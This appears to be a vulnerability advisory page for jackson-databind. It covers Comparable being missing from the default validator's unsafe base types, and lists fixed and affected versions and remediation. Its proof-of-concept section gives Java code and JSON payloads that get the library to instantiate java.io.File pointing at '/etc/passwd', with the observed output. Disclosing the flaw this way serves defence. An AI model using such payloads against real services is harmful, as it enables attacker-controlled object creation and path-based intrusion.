CVE-2026-83557GHSA-gx83-3vf8-gh7j

tools.jackson.core:jackson-databind: jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)

FasterXML tools.jackson.core:jackson-databindmavenLibraries & packages

CVSS

5.6Medium

ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 1 Sep 2026. Not in the KEV catalogCISA via CVE List

Exploit odds (EPSS)0.72%Chance of exploitation activity in the next 30 days, higher than 53% of CVEs. Scored 23 Oct 2026FIRST EPSS

Fixed in3.1.6Also 3.2.2, 2.18.10 and 2 moreGitHub

Published1 Sep 2026Updated 28 Sep 2026CVE List

What fixes it

3.1.6tools.jackson.core:jackson-databind, mavenGitHub<dependency><groupId>tools.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>3.1.6</version></dependency>
3.2.2tools.jackson.core:jackson-databind, mavenGitHub<dependency><groupId>tools.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>3.2.2</version></dependency>
2.18.10com.fasterxml.jackson.core:jackson-databind, mavenGitHub<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.18.10</version></dependency>
2.21.6com.fasterxml.jackson.core:jackson-databind, mavenGitHub<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.21.6</version></dependency>
2.22.2com.fasterxml.jackson.core:jackson-databind, mavenGitHub<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.22.2</version></dependency>
2.18.10jackson-databindCVE List

Show all 15 fixed versions

2.21.6jackson-databindCVE List
2.22.2jackson-databindCVE List
3.1.6jackson-databindCVE List
3.2.2jackson-databindCVE List
3.1.6tools.jackson.core:jackson-databind, MavenOSV<dependency><groupId>tools.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>3.1.6</version></dependency>
3.2.2tools.jackson.core:jackson-databind, MavenOSV<dependency><groupId>tools.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>3.2.2</version></dependency>
2.18.10com.fasterxml.jackson.core:jackson-databind, MavenOSV<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.18.10</version></dependency>
2.21.6com.fasterxml.jackson.core:jackson-databind, MavenOSV<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.21.6</version></dependency>
2.22.2com.fasterxml.jackson.core:jackson-databind, MavenOSV<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.22.2</version></dependency>

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

DefaultBaseTypeLimitingValidator — the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing Comparable.

Details

Affected file: src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java

private final static class UnsafeBaseTypes {
    private final Set<String> UNSAFE = new HashSet<>();
    {
        UNSAFE.add(Object.class.getName());
        UNSAFE.add(java.io.Closeable.class.getName());
        UNSAFE.add(java.io.Serializable.class.getName());
        UNSAFE.add(AutoCloseable.class.getName());
        UNSAFE.add(Cloneable.class.getName());
        UNSAFE.add(Runnable.class.getName());          // [databind#5014]
        UNSAFE.add("java.util.logging.Handler");
        UNSAFE.add("javax.naming.Referenceable");
        UNSAFE.add("javax.sql.DataSource");
        // java.lang.Comparable is NOT present here
    }
}

protected boolean isSafeSubType(DatabindContext ctxt,
        JavaType baseType, JavaType subType) {
    return true;   // unconditional for every base type not in UNSAFE
}

The class's own JavaDoc acknowledges the design (*"Note that when using potentially unsafe base type like java.lang.Object a custom implementation... is needed"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that Comparable has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (Runnable was added recently for issue #5014).

This is specific to the default, unconfigured validator reached via bare @JsonTypeInfo usage. Global "Default Typing" via activateDefaultTyping() is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument — a correctly-configured BasicPolymorphicTypeValidator rejects the same payload under activateDefaultTyping().

PoC

Built entirely from source (jackson-databind + jackson-core + jackson-annotations, javac, OpenJDK 21, no third-party gadget libraries, no network access):

1. Sanity check (benign class, confirms the mechanism fires):

static class SafeThing implements Comparable<SafeThing> {
    public String name;
    public SafeThing() {}
    public int compareTo(SafeThing o) { return 0; }
}
static class Holder {
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Comparable<?> value;
}

ObjectMapper mapper = JsonMapper.builder().build();   // no custom PTV
String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=...SafeThing

2. Real JDK class substitution:

String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd

3. Negative control — Default Typing with an explicit custom PTV:

PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("PtvGapTest4").build();
ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// same java.io.File payload
// RESULT: REJECTED - InvalidTypeIdException: "...denied resolution"

Observed output:

$ java -cp .:build/classes PtvGapTest3 Trying: {"value":["java.io.File","/etc/passwd"]} ACCEPTED, class=java.io.File value=/etc/passwd

$ java -cp .:build/classes PtvGapTest4 Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}] REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution

Impact

Any application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, without a separately configured restrictive PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. Concrete impact is demonstrated via java.io.File: an attacker can cause construction of a File object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive.

Suggested remediation:

Add java.lang.Comparable to UnsafeBaseTypes.UNSAFE.
Audit other broad JDK interfaces (java.lang.Iterable, java.util.EventListener) for the same gap.
Consider a narrower default for isSafeSubType() for base types outside the fixed denylist, rather than unconditional true.

Text from GitHub Advisory Database

Affected versions 96

tools.jackson.core:jackson-databind, maven>= 3.0.0, < 3.1.6GitHub
tools.jackson.core:jackson-databind, maven>= 3.2.0, < 3.2.2GitHub
com.fasterxml.jackson.core:jackson-databind, maven>= 2.11.0, < 2.18.10GitHub
com.fasterxml.jackson.core:jackson-databind, maven>= 2.19.0, < 2.21.6GitHub
com.fasterxml.jackson.core:jackson-databind, maven>= 2.22.0, < 2.22.2GitHub
jackson-databindaffected: 2.11.0 before 2.18.10CVE List
jackson-databindaffected: 2.19.0 before 2.21.6CVE List
jackson-databindaffected: 2.22.0 before 2.22.2CVE List
jackson-databindaffected: 3.0.0 before 3.1.6CVE List
jackson-databindaffected: 3.2.0 before 3.2.2CVE List
tools.jackson.core:jackson-databind, Mavenfrom 3.0.0, fixed in 3.1.6OSV
tools.jackson.core:jackson-databind, Maven3.0.0OSV
tools.jackson.core:jackson-databind, Maven3.0.1OSV
tools.jackson.core:jackson-databind, Maven3.0.2OSV
tools.jackson.core:jackson-databind, Maven3.0.3OSV
tools.jackson.core:jackson-databind, Maven3.0.4OSV
tools.jackson.core:jackson-databind, Maven3.1.0OSV
tools.jackson.core:jackson-databind, Maven3.1.0-rc1OSV
tools.jackson.core:jackson-databind, Maven3.1.1OSV
tools.jackson.core:jackson-databind, Maven3.1.2OSV
tools.jackson.core:jackson-databind, Maven3.1.3OSV
tools.jackson.core:jackson-databind, Maven3.1.4OSV
tools.jackson.core:jackson-databind, Maven3.1.5OSV
tools.jackson.core:jackson-databind, Mavenfrom 3.2.0, fixed in 3.2.2OSV
tools.jackson.core:jackson-databind, Maven3.2.0OSV
tools.jackson.core:jackson-databind, Maven3.2.1OSV
com.fasterxml.jackson.core:jackson-databind, Mavenfrom 2.11.0, fixed in 2.18.10OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.11.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.11.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.11.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.11.3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.11.4OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.0-rc1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.0-rc2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.4OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.5OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.6OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.6.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.7OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.7.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.12.7.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.0-rc1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.0-rc2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.2.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.2.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.4OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.4.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.4.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.13.5OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.14.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.14.0-rc1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.14.0-rc2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.14.0-rc3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.14.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.14.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.14.3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.15.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.15.0-rc1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.15.0-rc2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.15.0-rc3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.15.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.15.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.15.3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.15.4OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.16.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.16.0-rc1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.16.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.16.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.17.0OSV
com.fasterxml.jackson.core:jackson-databind, Mavenfrom 2.19.0, fixed in 2.21.6OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.19.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.19.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.19.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.19.3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.19.4OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.20.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.20.0-rc1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.20.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.20.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.21.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.21.1OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.21.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.21.3OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.21.4OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.21.5OSV
com.fasterxml.jackson.core:jackson-databind, Mavenfrom 2.22.0, fixed in 2.22.2OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.22.0OSV
com.fasterxml.jackson.core:jackson-databind, Maven2.22.1OSV

tools.jackson.core:jackson-databind: jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)

What fixes it

Description

Affected versions 96

References 11